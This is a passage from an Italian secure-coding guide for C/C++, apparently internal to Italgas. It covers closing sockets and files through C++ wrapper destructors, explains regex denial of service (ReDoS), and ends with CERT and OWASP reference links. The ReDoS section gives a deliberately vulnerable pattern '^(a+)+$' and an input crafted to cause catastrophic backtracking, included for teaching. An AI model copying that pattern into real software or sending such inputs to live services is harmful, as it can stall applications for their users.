    perror("Errore nella chiusura della socket del server");
    exit(EXIT_FAILURE);
}
```

C++ permette una gestione più agevole per la chiusura del socket sfruttando una classe wrapper che incapsula tutte le operazioni di creazione, binding e listening di un socket e ne implementa la chiusura nel suo distruttore:

```
class Socket {
public:
    Socket() {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) {
            throw std::runtime_error("Errore nella creazione della socket");
        }
    }

    void Bind(int port) {
        struct sockaddr_in server_addr;
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        server_addr.sin_addr.s_addr = INADDR_ANY;

        if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
            throw std::runtime_error("Errore nell'associazione della socket");
        }
    }

    void Listen() {
        if (listen(sockfd, 5) < 0) {
            throw std::runtime_error("Errore nell'ascolto della socket");
        }
    }

    int Accept() {
        struct sockaddr_in client_addr;
        socklen_t client_len = sizeof(client_addr);
        int client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
        if (client_sockfd < 0) {
            throw std::runtime_error("Errore nell'accettazione della connessione");
        }
        return client_sockfd;
    }

    ~Socket() {
        if (close(sockfd) < 0) {
            std::cerr << "Errore nella chiusura della socket del server" << std::endl;
        }
    }
```

12.1.2 Files

In condizioni normali, il codice seguente chiude lo stream del file aperto. Tuttavia, se si verifica un errore durante il flusso di esecuzione, la chiusura potrebbe non essere eseguita. Questo può portare ad un leak di dati e risorse.

```
FILE *fptr;
fptr = fopen("C:\\somefile.txt","w");

// Esegui le operazioni
…

fclose(fptr);
```

Il seguente codice C implementa una più corretta chiusura dello stream del file ma richiede che, durante l'esecuzione delle operazioni, vengano gestite tutte le possibili casistiche di errore. Quando viene gestito un errore bloccante che comporta l'uscita dal programma, deve essere implementata la stessa chiusura dello stream del file presentata nell'esempio sottostante:

```
FILE *fptr;
fptr = fopen("C:\\somefile.txt","w");

// Esegui le operazioni
… // tutti gli errori devono essere gestiti

if (fptr != NULL)
{
    fclose(fptr);
}
```

C++ permette una gestione più agevole della chiusura dello stream del file implementando una classe wrapper sfruttando il suo distruttore:

```
class FileWrapper {
private:
    FILE* fptr;

public:
    FileWrapper(const char* filename, const char* mode) {
        fptr = fopen(filename, mode);
        if (fptr == NULL) {
            std::cerr << "Errore nell'apertura del file!" << std::endl;
            exit(1);
        }
    }

    ~FileWrapper() {
        if (fptr != NULL) {
            fclose(fptr);
            std::cout << "File chiuso correttamente." << std::endl;
        }
    }

    // Metodi per lavorare con il file
    // ...
};
```

12.1.3 Regex Denial of Service

ReDoS, o Denial of Service tramite espressioni regolari, è un tipo di attacco che sfrutta il fatto che la maggior parte delle implementazioni di espressioni regolari possono raggiungere situazioni estreme che le fanno lavorare molto lentamente, in relazione esponenziale alla dimensione dell'input. Un attaccante può quindi causare un rallentamento o addirittura un blocco dell'applicazione fornendo un'espressione regolare che richiede molto tempo per essere valutata.

Segue un esempio di codice C/C++ vulnerabile:

```
regex_t regex;
// Compilazione dell'espressione regolare
int reti= regcomp(&regex, "^(a+)+$", 0);
if (reti) {
    fprintf(stderr, "Could not compile regex\n");
    return 1;
}
// Esecuzione del match dell'espressione regolare
reti = regexec(&regex, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa!", 0, NULL, 0)
```

Nel precedente esempio, una stringa di input come "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa!" può causare un numero elevato di backtracking se l'espressione regolare cerca di abbinare ogni 'a' con il gruppo *(a+)*, causando un Denial of Service.

La maggior parte dei motori di espressioni regolari utilizza il backtracking per provare tutti i possibili percorsi di esecuzione dell'espressione regolare durante la valutazione di un input, ma in alcuni casi può causare problemi di prestazioni, chiamati situazioni di backtracking catastrofico. Nel caso peggiore, la complessità dell'espressione regolare è esponenziale rispetto alla dimensione dell'input, il che significa che un piccolo input accuratamente creato (come 20 caratteri) può innescare un backtracking catastrofico e causare un denial of service dell'applicazione.

Per prevenire gli attacchi ReDoS, è importante seguire delle buone pratiche nella definizione dei pattern delle espressioni regolari. Ad esempio, si dovrebbe evitare l'uso di gruppi con ripetizione all'interno dei quali ci sono altre ripetizioni o alternanze con sovrapposizioni.

Inoltre, è possibile utilizzare strumenti di analisi statica del codice per rilevare automaticamente le vulnerabilità ReDoS nel codice. Tuttavia, la correzione di queste vulnerabilità è ancora un processo manuale e può richiedere di modificare uno o più caratteri nell'espressione regolare.

13 Link utili

- **Dichiarazioni ed Inizializzazioni**
  - Declarations and Initialization (DCL) - SEI CERT C Coding Standard - Confluence (cmu.edu)
  - Declarations and Initialization (DCL) - SEI CERT C++ Coding Standard - Confluence (cmu.edu)
- **Espansione delle Macro**
  - Macro Expansion - GCC GNU (gcc.gnu.org)
- **Dimensione di una struttura dati**
  - sizeof - C++ Reference (cppreference.com)

- fopen(3) - Linux manual page (man7.org)
- umask(2) - Linux manual page (man7.org)

open(2) - Linux manual page (man7.org)

- **Validazione**
  - scanf(3) - Linux manual page (man7.org)
  - fgets(3p) - Linux manual page (man7.org)
  - strspn(3) - Linux manual page (man7.org)
  - strpbrk(3) - Linux manual page (man7.org)
  - regex(3) - Linux manual page (man7.org)
- **Sanitizzazione**
  - Prepared Statement - MySQL C API
  - Prepared Statement - MySQL C++ API
  - Libinjection - Github
- **Command Injection**
  - system(3): execute shell command - Linux man page (die.net)
  - exec(3): execute file - Linux man page (die.net)
  - stat(2): file status - Linux man page (die.net)

mkdir(2): create directory - Linux man page (die.net)

- **Algoritmi e Chiavi di Cifratura Robusti**
  - CryptoPP - Github
  - openssl - OpenSSL Documentation

    - Botan

- **Informazioni sensibili nei log**
    - Logging - OWASP Cheat Sheet Series
    - OWASP Developer Guide | Implement Security Logging and Monitoring Checklist | OWASP Foundation
- **Stato dell'arte**
    - **C**
        - GitHub - HardySimpson/zlog
        - syslog(3) - Linux manual page (man7.org)
        - Overview of Syslog (The GNU C Library)
    - **C++**
        - GitHub - apache/logging-log4cxx
        - GitHub - google/glog: C++ implementation of the Google logging module
        - GitHub - gabime/spdlog: Fast C++ logging library.
        - Log for C++ Project (sourceforge.net)
        - Chapter 1. Boost.Log v2 - 1.86.0
        - GitHub – abumq/easyloggingpp
- **Credenziali Hardcoded**
    - Password Storage - OWASP Cheat Sheet Series

Secrets Management - OWASP Cheat Sheet Series

- **Concorrenza**
    - Rec. 14. Concurrency (CON) - SEI CERT C Coding Standard - Confluence (cmu.edu)
    - Rule 10. Concurrency (CON) - SEI CERT C++ Coding Standard - Confluence (cmu.edu)
- Rule 08. Memory Management (MEM) - SEI CERT C Coding Standard - Confluence (cmu.edu)
- Rec. 08. Memory Management (MEM) - SEI CERT C Coding Standard - Confluence (cmu.edu)
- **Inizializzazione della memoria**
    - EXP53-CPP. Do not read uninitialized memory - SEI CERT C++ Coding Standard - Confluence (cmu.edu)
    - Rule 02. Declarations and Initialization (DCL) - SEI CERT C Coding Standard - Confluence (cmu.edu)
    - Rec. 02. Declarations and Initialization (DCL) - SEI CERT C Coding Standard - Confluence (cmu.edu)
- **Value Overflow e Underflow**
    - Rule 04. Integers (INT) - SEI CERT C Coding Standard - Confluence (cmu.edu)
    - Rec. 04. Integers (INT) - SEI CERT C Coding Standard - Confluence (cmu.edu)
- **Utilizzo dei puntatori**
    - MEM50-CPP. Do not access freed memory - SEI CERT C++ Coding Standard - Confluence (cmu.edu)
    - MEM51-CPP. Properly deallocate dynamically allocated resources - SEI CERT C++ Coding Standard - Confluence (cmu.edu)
- **Tecniche di difesa**
    - Option Summary (Using the GNU Compiler Collection (GCC))
- **Sanitizzazione**
    - C/C++ Sanitizers - Google Sanitizers
- **Socket & File**
    - Denial of Service | OWASP Cheat Sheet Series
- **Regex DoS (ReDoS)**
    - Regular expression Denial of Service - ReDoS | OWASP Foundation

14 REFERENZE

Referenza	URL
sei-cert-c-coding-standard-2016-v01	sei-cert-c-coding-standard-2016-v01.pdf
sei-cert-cpp-coding-standard-2016-v01	sei-cert-cpp-coding-standard-2016-v01.p

Italgas S.p.A - Informazioni Interne

Italgas S.p.A - Informazioni Interne